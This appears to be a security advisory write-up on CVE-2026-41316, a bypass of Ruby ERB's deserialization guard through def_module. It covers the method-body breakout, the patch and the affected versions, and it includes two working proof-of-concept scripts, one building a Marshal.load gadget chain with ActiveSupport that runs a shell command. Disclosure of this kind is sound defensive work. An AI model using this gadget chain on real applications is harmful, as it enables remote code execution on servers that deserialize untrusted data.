Introduction
A six-year-old deserialization guard in Ruby's ERB templating library turns out to have been incomplete the whole time, leaving three public methods as unprotected code execution sinks. CVE-2026-41316 (CVSS 8.1) lets an attacker bypass the @_init protection mechanism and run code through Marshal.load in any Ruby application that has both erb and activesupport loaded. That describes nearly every Rails deployment in production today.
TristanInSec reported the vulnerability, and the Ruby core team patched it on April 21, 2026. Exploitation needs an existing unsafe Marshal.load call as an entry point, but a complete proof of concept is public and Rails is everywhere, so this is a priority patch for any Ruby shop.
Technical Information
The Original Guard and Its Gap
When Ruby 2.7.0 shipped, the ERB library introduced an @_init instance variable as a deserialization guard. During normal construction via ERB#initialize, the sentinel value self.class.singleton_class is stored in @_init. Before evaluating a template, ERB#result and ERB#run compare @_init against this expected sentinel using .equal? (identity comparison). Marshal cannot serialize a singleton class, so any ERB object reconstructed through Marshal.load will have an @_init value that fails this check, which blocks code execution.
The gap: three other public methods also reach eval(@src) but were never given this guard. They are ERB#def_method, ERB#def_module, and ERB#def_class. All three ultimately call eval() on the @src instance variable without verifying @_init.
Of these, def_module is the most dangerous because it accepts zero arguments (all its parameters have default values). Deserialization gadget chains typically need zero-argument methods to work, which makes def_module a perfect exploitation target.
The Method Wrapper Breakout
The def_method function wraps the @src variable inside a method definition before passing it to module_eval. Normally, code inside a method body only runs when the method is called. But an attacker can craft @src to begin with an end statement, which closes the method definition early. Any code placed after this first end runs immediately during the module_eval phase.
# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end
This breakout technique turns a method definition wrapper that looks safe into an arbitrary code execution primitive.
The Full Gadget Chain
To achieve RCE via Marshal.load, the attacker combines the ERB bypass with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget. The chain works as follows:
Marshal.loadreconstructs aHashthat uses theDeprecatedInstanceVariableProxyas a key.- Hash key insertion calls
.hashon the proxy object. - Because
.hashis not defined on the proxy,method_missing(:hash)fires and dispatches the call to the wrapped ERB object'sdef_modulemethod. def_moduledelegates todef_method, which callsmodule_eval(eval(src)).- The method body breakout triggers, and the injected
system('id')command runs immediately.
Prerequisites for Exploitation
The vulnerability is not independently exploitable. Three conditions must be met at once:
| Requirement | Description |
|---|---|
| Untrusted Data to Marshal.load | The application must pass attacker-controlled data to Marshal.load, which acts as the entry point for the payload. |
| ActiveSupport Loaded | The activesupport library must be present in the runtime to provide the proxy gadget for the chain. |
| ERB Loaded | The erb library must be present in the runtime to provide the vulnerable def_module sink. |
Typical vulnerable scenarios include Rails applications importing untrusted serialized data, legacy Rails applications using Marshal for cookie session serialization, and systems with unprotected import endpoints for Marshal dumps.
Proof of Concept
A public proof of concept is available directly within the GitHub Security Advisory GHSA-q339-8rmv-2mhv, published on April 21, 2026 by k0kubun. TristanInSec reported the vulnerability originally.
PoC 1: Minimal (ERB Only)
This variant shows that ERB#result correctly blocks execution on a non-initialized ERB object, while ERB#def_module does not:
require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)
The attacker sets @src to "end\nsystem('id')\ndef x". When def_method wraps this in a method body, the injected end closes the method definition early, and system('id') runs immediately at module_eval time.
PoC 2: Marshal Deserialization RCE (ERB + ActiveSupport)
This variant achieves full Remote Code Execution through Marshal.load by using ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget to invoke ERB#def_module:
require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)
This was verified on Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1. Any Ruby application that calls Marshal.load on untrusted data while having both erb and activesupport loaded is vulnerable.
Patch Information
The official fix was published on April 21, 2026, in commit 9d017be by Takashi Kokubun (k0kubun), co-authored with Tristan Madani (the original reporter). The fix is available in ERB gem versions 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4. Upgrading Ruby itself to version 4.0.3 will also pull in ERB 6.0.1.1 with the fix included.
The patch is simple. It adds the same @_init guard directly to ERB#def_method. Because both def_module and def_class internally delegate to def_method, this one three-line insertion covers all three bypass paths at once:
def def_method(mod, methodname, fname='(ERB)') + unless @_init.equal?(self.class.singleton_class) + raise ArgumentError, "not initialized" + end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1)
The patched def_method now checks whether @_init points to self.class.singleton_class before proceeding, which mirrors the guard already present in ERB#result. If the check fails, as it always will for Marshal-loaded ERB instances since singleton classes cannot survive serialization, an ArgumentError with the message "not initialized" is raised, halting execution before eval is ever reached.
The commit also includes 27 lines of new test coverage in test/erb/test_erb.rb, adding three dedicated test methods: test_prohibited_marshal_load_def_method, test_prohibited_marshal_load_def_module, and test_prohibited_marshal_load_def_class. Each test allocates an ERB object, sets @_init to a non-sentinel value (true), serializes and deserializes it via Marshal.dump/Marshal.load, and then asserts that the corresponding method raises ArgumentError.
To apply the fix, run bundle update erb in your application directory.
Affected Systems and Versions
The vulnerability affects ERB versions up to and including 6.0.3. Specifically:
| Affected Version Range | Patched Version |
|---|---|
| ERB < 4.0.3.1 | 4.0.3.1 |
| ERB 4.0.4.x before 4.0.4.1 | 4.0.4.1 |
| ERB 6.0.x before 6.0.1.1 (6.0.1 series) | 6.0.1.1 |
| ERB 6.0.2 through 6.0.3 | 6.0.4 |
Ruby 4.0.3 ships with ERB 6.0.1.1, which includes the fix.
The vulnerability is exploitable in any Ruby application that meets all three conditions: it calls Marshal.load on untrusted data, has the erb library loaded, and has the activesupport library loaded. This combination describes nearly all Ruby on Rails applications, since ERB is the default template engine for Rails.
Vendor Security History
CVE-2026-41316 is the sixth generation of functional Marshal gadget chains discovered in the Ruby ecosystem between 2018 and 2026. Previous chains exploited components like Gem::Requirement and Gem::Specification._load. The Ruby team has consistently patched these individual gadgets as they are reported, but the underlying issue persists: Marshal.load can deserialize almost any Ruby object and instantiate arbitrary classes. The Ruby security documentation has long warned developers against using Marshal.load on untrusted data, and the recommended long-term approach is still to avoid Marshal.load entirely for untrusted input, favoring safer formats such as JSON.
The vendor's response to this CVE was prompt. The advisory and patched versions of both the gem and the core Ruby language were released together on April 21, 2026.
References
- GitHub Security Advisory GHSA-q339-8rmv-2mhv
- CVE-2026-41316 on NVD
- Ruby Official Advisory: CVE-2026-41316
- Patch Commit 9d017be on GitHub
- Ruby 4.0.3 Release Announcement
- ERB on RubyGems
- Heise: Critical vulnerability in Ruby's standard library ERB
- Ruby Security Documentation (Marshal and YAML risks)
- Trail of Bits: Ruby Security Field Guide on YAML



